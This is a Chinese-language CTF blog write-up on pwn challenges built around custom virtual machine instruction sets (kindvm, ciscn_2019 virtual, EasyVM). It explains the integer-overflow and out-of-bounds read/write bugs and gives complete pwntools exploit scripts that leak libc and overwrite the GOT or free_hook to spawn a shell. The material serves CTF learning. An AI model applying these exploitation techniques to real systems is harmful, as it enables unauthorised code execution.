目錄
  1. 1. 前言
  2. 2. 例题1
  3. 3. 例题2
    1. 3.1. 程序逻辑
    2. 3.2. 指令功能
  4. 4. 例题3
    1. 4.1. 程序逻辑
  5. 5. Reference
虚拟指令集pwn

前言

近来很多比赛都有虚拟指令集pwn的题目,漏洞都是常规的漏洞,但是题目还算新颖,有一种计组做实验的感觉。

这类题目主要就是搞清楚指令集的作用,需要对字节、符号、移位等知识有非常清晰的认识,废话不多说,先来一道题目试试。

例题1

来源:seccon-2018-kindvm

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/vmpwn/kindvm/kindvm'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

静态分析,程序流程如下

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
ctf_setup(); //初始化设置
kindvm_setup(); //设置虚拟指令集
input_insn(); //输入指令
(*(void (**)(void))(kc + 16))(); //执行某个函数
while ( !*(_DWORD *)(kc + 4) ) //当kc+4为true时终止执行
exec_insn(); //执行指令
(*(void (**)(void))(kc + 20))(); //执行某个函数
return 0;
}

重点关注kindvm_setup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void *kindvm_setup()
{
_DWORD *v0; // eax
int v1; // ebx
void *result; // eax

v0 = malloc(0x18u);
kc = (int)v0;
*v0 = 0;
*(_DWORD *)(kc + 4) = 0;
v1 = kc;
*(_DWORD *)(v1 + 8) = input_username(); //输入name,溢出会执行hint1()
*(_DWORD *)(kc + 12) = "banner.txt";
*(_DWORD *)(kc + 16) = func_greeting; //执行指令前的函数
*(_DWORD *)(kc + 20) = func_farewell; //执行指令后的函数
mem = malloc(0x400u); //内存在堆上
memset(mem, 0, 0x400u);
reg = malloc(0x20u); //寄存器也在堆上
memset(reg, 0, 0x20u);
insn = malloc(0x400u); //存放指令也在堆上
result = memset(mem, 'A', 0x400u);
func_table[0] = (int)insn_nop;
dword_804B0C4 = (int)insn_load; //0x01 + 寄存器号(0-7)+ 内存地址(2字节,小于0x3fc)
dword_804B0C8 = (int)insn_store; //0x02 + 内存地址(2字节,小于0x3fc) + 寄存器号(0-7)
dword_804B0CC = (int)insn_mov; //0x03 + 寄存器号a + 寄存器号b ;a = b
dword_804B0D0 = (int)insn_add; //0x04 + 寄存器号a + 寄存器号b a+=b a如果小于0,那么执行hint3()
dword_804B0D4 = (int)insn_sub; //0x05 + 寄存器号a + 寄存器号b a-=b
dword_804B0D8 = (int)insn_halt; //0x06 设置kc+4 = 1 终止执行
dword_804B0DC = (int)insn_in; //0x07 + 寄存器号 + 立即数(32位 4字节)将立即数存入寄存器
dword_804B0E0 = (int)insn_out; //0x08 + 寄存器号 打印寄存器的值
dword_804B0E4 = (int)insn_hint; //0x09 执行hint2()
return result;
}

现在我们来看一下hint

1
2
3
4
5
6
7
8
9
10
Input your name : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
_ _ _ _ _ ____ _____ _____ _
| | | (_)_ __ | |_/ | / ___| ____|_ _| | |
| |_| | | '_ \| __| | | | _| _| | | | |
| _ | | | | | |_| | | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|_| \____|_____| |_| (_)


Nice try! The theme of this binary is not Stack-Based BOF!
However, your name is not meaningless...

hint1:name溢出即可,提示name有作用,但不是溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  kindvm socat tcp-l:9999,fork exec:./kindvm

➜ kindvm echo -e 'kangel\n\x09' |nc 127.0.0.1 9999
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
_ _ _ _ ____ ____ _____ _____ _
| | | (_)_ __ | |_|___ \ / ___| ____|_ _| | |
| |_| | | '_ \| __| __) | | | _| _| | | | |
| _ | | | | | |_ / __/ | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|_____| \____|_____| |_| (_)

Nice try! You can analyze vm instruction and execute it!
Flag file name is "flag.txt".

hint2:输入’\x09’,提示filename为”flag.txt”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_DWORD *insn_add()
{
_DWORD *result; // eax
unsigned __int8 v1; // [esp+Ah] [ebp-Eh]
unsigned __int8 v2; // [esp+Bh] [ebp-Dh]
signed int v3; // [esp+Ch] [ebp-Ch]

v1 = load_insn_uint8_t(); //寄存器a
v2 = load_insn_uint8_t(); //寄存器b
if ( v1 > 7u )
kindvm_abort();
if ( v2 > 7u )
kindvm_abort();
if ( *((_DWORD *)reg + v1) >= 0 )
v3 = 1;
result = (char *)reg + 4 * v1;
*result += *((_DWORD *)reg + v2);
if ( v3 )
{
result = (_DWORD *)*((_DWORD *)reg + v1);
if ( (signed int)result < 0 ) //寄存器a为负数
hint3();
}
return result;
}

因此可以先往reg[0]中写入负数,然后 add reg[0], reg[0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  kindvm echo -e 'kangel\n\x07\x00\xff\xff\xff\xff\x04\x00\x00' |nc 127.0.0.1 9999
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
_ _ _ _ _____ ____ _____ _____ _
| | | (_)_ __ | |_|___ / / ___| ____|_ _| | |
| |_| | | '_ \| __| |_ \ | | _| _| | | | |
| _ | | | | | |_ ___) | | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|____/ \____|_____| |_| (_)

Nice try! You can cause Integer Overflow!
The value became minus value. Minus value is important.

hint3:提示有整数溢出

我们现在来看一下指令退出后的函数func_farewell

1
2
3
4
5
ssize_t func_farewell()
{
open_read_write(*(char **)(kc + 12)); //banner.txt
return write(1, "Execution is end! Thank you!\n", 0x1Du);
}

banner.txt和name的地址都存放在堆上

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/20wx kc - 8
0x804c000: 0x00000000 0x00000021 0x00000000 0x00000000
0x804c010: 0x0804c028 0x080491b2 0x08048f89 0x08048fba
0x804c020: 0x00000000 0x00000011 0x67616c66 0x7478742e
0x804c030: 0x00000000 0x00000409 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x41414141 0x41414141
pwndbg> x/s 0x0804c028
0x804c028: "flag.txt"
pwndbg> x/s 0x080491b2
0x80491b2: "banner.txt"
pwndbg> p/x mem
$3 = 0x804c038

因此 read name -> write it to banner.txt.即可

1
2
3
4
5
6
7
8
9
10
➜  kindvm echo -e 'flag.txt\n\x01\x07\xff\xd8\x02\xff\xdc\x07\x06' | nc 127.0.0.1 9999                                                  
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
SECCON{s7ead1ly_5tep_by_5tep}
Execution is end! Thank you!

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=process('./kindvm')

p.recvuntil("Input your name : ")
p.sendline('flag.txt')
p.recvuntil("Input instruction : ")
payload="\x01\x03\xff\xd8" #load 03,[0xffd8] reg3<=*(mem-40) 0xffd8 = -40
payload+="\x02\xff\xdc\x03" #store [0xffdc],03 *(mem-36)<=reg3 0xffdc = -36
payload+="\x06" #halt
p.sendline(payload)
p.interactive()

例题2

来源:ciscn_2019_初赛_virtual

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/vmpwn/ciscn_2019_c_virtual/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序逻辑

这道题相对上一道题复杂了许多,首先弄清楚程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *exec_name; // [rsp+18h] [rbp-28h]
section_info *stack_addr; // [rsp+20h] [rbp-20h]
section_info *text_addr; // [rsp+28h] [rbp-18h]
void **data_addr; // [rsp+30h] [rbp-10h]
char *ptr; // [rsp+38h] [rbp-8h]

do_init();
exec_name = (char *)malloc(0x20uLL); //name存放在堆上
stack_addr = sub_4013B4(64); //模拟栈,存放栈数据
text_addr = sub_4013B4(128); //模拟代码段,存放指令
data_addr = (void **)sub_4013B4(64); //模拟数据段,存放数据
ptr = (char *)malloc(0x400uLL); //存放临时数据,有点cache的味道
puts("Your program name:");
my_read_((__int64)exec_name, 0x20u); //直接写数据到name处

puts("Your instruction:");
my_read_((__int64)ptr, 0x400u); //先写到cache中
StoreOpcode(text_addr, ptr); //再存入代码段

puts("Your stack data:");
my_read_((__int64)ptr, 0x400u); //先写到cache中
StroeStack(stack_addr, ptr); //再存入栈中

if ( (unsigned int)run((__int64)text_addr) ) //模拟执行
{
puts("-------");
puts(exec_name); //打印name
puts_stack(stack_addr); //打印栈数据
puts("-------");
}
else
{
puts("Your Program Crash :)");
}
free(ptr);
my_free((void **)text_addr);
my_free((void **)stack_addr);
my_free(data_addr);
return 0LL;
}

如果只看上面,大概可以想到:

1、name = ”/bin/sh\x00”, 利用漏洞将puts@got改成system地址

2、打印栈数据可以泄露一些地址

下面来看一下stack、text、data是如何存放数据的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section_info *__fastcall sub_4013B4(int size)
{
section_info *result; // rax
section_info *ptr; // [rsp+10h] [rbp-10h]
void *s; // [rsp+18h] [rbp-8h]

ptr = (section_info *)malloc(0x10uLL); //存放结构体
if ( !ptr )
return 0LL;
s = malloc(8LL * size); //存放数据
if ( s )
{
memset(s, 0, 8LL * size);
ptr->section_ptr = (__int64)s;
ptr->size = size;
ptr->numb = -1;
result = ptr;
}
else
{
free(ptr);
result = 0LL;
}
return result;
}

结构体如下:

1
2
3
4
5
6

00000000 section_info struc ; (sizeof=0x10, mappedto_6)
00000000 section_ptr dq ?
00000008 size dd ?
0000000C idx dd ?
00000010 section_info ends

下面再看一下两个操作数据的函数

1
2
3
4
5
6
7
8
9
signed __int64 __fastcall Get(section_info *text_addr, _QWORD *a2)
{
if ( !text_addr )
return 0LL;
if ( text_addr->numb == -1 )
return 0LL;
*a2 = *(_QWORD *)(text_addr->section_ptr + 8LL * text_addr->numb--);
return 1LL;
}

Get(addr, a): 从addr从取数据到a中

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 __fastcall StoreInSection(section_info *a1, __int64 data)
{
int idx; // [rsp+1Ch] [rbp-4h]

if ( !a1 )
return 0LL;
idx = a1->numb + 1;
if ( idx == a1->size )
return 0LL;
*(_QWORD *)(a1->section_ptr + 8LL * idx) = data;
a1->numb = idx;
return 1LL;
}

StoreInSection(a1, data):将data存放到a中

指令功能

共有7个指令:push、pop、add、sub、mul、div、load、save

push:从stack_addr中取出数据放进data_addr中

1
2
3
4
5
6
_BOOL8 __fastcall do_PUSH(section_info *data_addr, section_info *stack_addr)
{
__int64 v3; // [rsp+18h] [rbp-8h]

return (unsigned int)Get(stack_addr, &v3) && (unsigned int)StoreInSection(data_addr, v3);
}

pop:从data_addr中取出数据放进stack_addr中,与push刚好相反

1
2
3
4
5
6
_BOOL8 __fastcall do_POP(section_info *data_addr, section_info *stack_addr)
{
__int64 v3; // [rsp+18h] [rbp-8h]

return (unsigned int)Get(data_addr, &v3) && (unsigned int)StoreInSection(stack_addr, v3);
}

add:从data_addr中取出两个数据相加再存入data_addr;sub、mul、div类似

1
2
3
4
5
6
7
8
9
10
11
12
signed __int64 __fastcall do_ADD(section_info *data_addr)
{
signed __int64 result; // rax
__int64 v2; // [rsp+10h] [rbp-10h]
__int64 v3; // [rsp+18h] [rbp-8h]

if ( (unsigned int)Get(data_addr, &v2) && (unsigned int)Get(data_addr, &v3) )
result = StoreInSection(data_addr, v3 + v2);
else
result = 0LL;
return result;
}

load:从data_addr中取出数据作为data_addr的索引,再将该索引指向的数据存放到data_addr中,由于没有进行索引的判断,因此可以造成越界读

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall do_LOAD(section_info *data_addr)
{
signed __int64 result; // rax
__int64 idx; // [rsp+10h] [rbp-10h]

if ( (unsigned int)Get(data_addr, &idx) )
result = StoreInSection(data_addr, *(_QWORD *)(data_addr->section_ptr + 8 * (data_addr->numb + idx)));
else
result = 0LL;
return result;
}

save:从data_addr中取出两个数据,将第二个数据写入第一个数据相关的索引中,存在越界写。

1
2
3
4
5
6
7
8
9
10
signed __int64 __fastcall do_SAVE(section_info *data_addr)
{
__int64 v2; // [rsp+10h] [rbp-10h]
__int64 value; // [rsp+18h] [rbp-8h]

if ( !(unsigned int)Get(data_addr, &v2) || !(unsigned int)Get(data_addr, &value) )
return 0LL;
*(_QWORD *)(8 * (data_addr->numb + v2) + data_addr->section_ptr) = value;
return 1LL;
}

例如:利用save将data_addr覆盖成0x400

利用思路:

1、先把got表写入data_addr->section_ptr处:push got_addr;push -3;save

2、load put@got,加上它与system@got的偏移:push 5;load;push offset;add

3、将该地址写入put@got的地址处:push 5;save

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level='debug'
context.terminal = ['tmux','split','-h']
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def gd(s=''):
gdb.attach(p,s)

p.sendlineafter('name:\n','/bin/sh')
ins = "push push save push load push add push save"
p.sendlineafter('instruction:\n', ins)

offset = -(libc.sym['puts'] - libc.sym['system'])
got_addr = 0x404000
data = [got_addr,-3,5 ,offset ,5]

payload=""
for i in data:
payload+=str(i)+" "

# gd('b *0x401A75\nb *0x4019C7\nb*0x401A5D\n')
p.sendlineafter('data:\n',payload)

p.interactive()

例题3

来源:gxzyCTF-EasyVM

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/vmpwn/easyVM/attachment/EasyVM'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // ST2C_4
_DWORD *ptr; // [esp+18h] [ebp-18h]
int v5; // [esp+ACh] [ebp+7Ch]

init();
ptr = sub_DD5(); //定义一些寄存器
while ( 1 )
{
switch ( menu() )
{
case 1:
buf = malloc(0x300u);
read(0, buf, 0x2FFu); //读入指令
ptr[8] = buf; //地址存放在ptr[8]中
break;
case 2:
if ( !ptr )
exit(0);
vm(ptr); //定义了指令集
break;
case 3:
if ( !ptr )
exit(0);
free((void *)ptr[10]);
free(ptr); //有点东西
break;
case 4:
puts("Maybe a bug is a gif?");
dword_305C = v5; //程序的地址
ptr[8] = &unk_3020; //存入一些指令
break;
case 5:
puts("Zzzzzz........");
exit(0);
return;
default:
puts("Are you kidding me ?");
break;
}
}
}

看到case 3,大概可以想到要把free(ptr)修改成system(“/bin/sh”)

先来看指令集,指令集只是定义了一些运算,下面介绍几个主要的

0x80:以下一个指令为索引idx,把下2到5个字节为值传入寄存器a1[idx]

例如:’\x80\x02\x00\x96\xF3\x78’就是a1[2] = 0x78F39600

1
2
3
4
5
if ( *(_BYTE *)a1[8] == 0x80u )
{
a1[sub_9C3((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2);
a1[8] += 6;
}

0x09与0x11:把dword_305C中的值打印出来

1
2
3
4
5
6
7
8
9
10
if ( *(_BYTE *)a1[8] == 9 )
{
a1[1] = dword_305C;
++a1[8];
}
if ( *(_BYTE *)a1[8] == 0x11 )
{
printf("%p\n", a1[1]);
++a1[8];
}

0x53与0x54: 输出一个字节和输入一个字节

1
2
3
4
5
6
7
8
9
10
11
if ( *(_BYTE *)a1[8] == 0x53 )
{
putchar(*(char *)a1[3]);
a1[8] += 2;
}
if ( *(_BYTE *)a1[8] == 0x54 )
{
v1 = (_BYTE *)a1[3];
*v1 = getchar();
a1[8] += 2;
}

0x71接0x76:相当于a1[3] = (_DWORD )(a1[8] + 1);

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( *(_BYTE *)a1[8] == 0x71 )
{
a1[6] -= 4;
*(_DWORD *)a1[6] = *(_DWORD *)(a1[8] + 1);
a1[8] += 5;
}
if ( *(_BYTE *)a1[8] == 0x76 )
{
a1[3] = *(_DWORD *)a1[6];
*(_DWORD *)a1[6] = 0;
a1[6] += 4;
a1[8] += 5;
}

其实弄清楚&unk_3020中的指令就差不多了,该指令首先给dword_305C赋值,然后对该值进行一系列运算并打印出来,根据该运算特征可以发现是MT19937随机数算法,可以利用Z3约束器进行求解(参考http://ctf.njupt.edu.cn/382.html#EasyVM)

实际上可以不用管这个密文,我们只需要dword_305C已经赋值,然后运行"\x09\x11\x99"即可

这道题可以有多种方法构造任意地址读写

1、利用"\x80\x03"

2、利用"\x71\x76"

具体攻击方法如下:

1、泄露程序基址,得到malloc@got地址

2、泄露malloc的地址,得到libc基址,从而计算free_hook地址和system地址

3、将”/bin/sh\x00”写入ptr,将system@addr写入free_hook

4、case 3 getshell

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context.log_level="debug"
context.terminal = ['tmux','split','-h']
p = process("./EasyVM")

r = lambda x: p.recvuntil(x)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

def produce(ins):
sl(">>> ","1")
p.send(ins)

def start():
sl(">>> ","2")

def free():
sl(">>> ","3")

def gift():
sl(">>> ","4")

def read_one(addr):
ins = '\x80\x03'+p32(addr)+'\x53\x00'
ins += '\x80\x03'+p32(addr+1)+'\x53\x00'
ins += '\x80\x03'+p32(addr+2)+'\x53\x00'
ins += '\x80\x03'+p32(addr+3)+'\x53\x00'
ins += '\x99'
produce(ins)
start()

def write_one(addr,value):
ins = '\x80\x03'+p32(addr)+'\x54\x00'
ins += '\x80\x03'+p32(addr+1)+'\x54\x00'
ins += '\x80\x03'+p32(addr+2)+'\x54\x00'
ins += '\x80\x03'+p32(addr+3)+'\x54\x00'
ins += '\x80\x00'+'/bin'
ins += '\x80\x01'+'/sh\x00'
ins += '\x99'
produce(ins)
start()
p.send(value)

def gd(s = ''):
gdb.attach(p,s)

gift()
produce("\x09\x11\x99")
start()
p.recvline()
binary_base = int(p.recv(10),16) - 0x6c0
log.success("binary_base:0x%x"%binary_base)

malloc_got = binary_base + 0x2fcc
read_one(malloc_got)
p.recv()
libc_base = u32(p.recv(4)) - 0x70f00
log.success("libc_base:0x%x"%libc_base)
free_hook = libc_base + 0x1b38b0
system_addr = libc_base + 0x3ada0
write_one(free_hook,p32(system_addr))
gd()
free()
p.interactive()

Reference

https://github.com/PDKT-Team/ctf/tree/master/seccon2018/kindvm#bahasa-indonesia

https://blog.csdn.net/qq_25201379/article/details/83548147

https://dittozzz.top/2019/09/28/VM-pwn-%E5%88%9D%E6%8E%A2/

https://xz.aliyun.com/t/6865

https://www.bilibili.com/read/cv5124780

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/04/10/虚拟指令集pwn/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL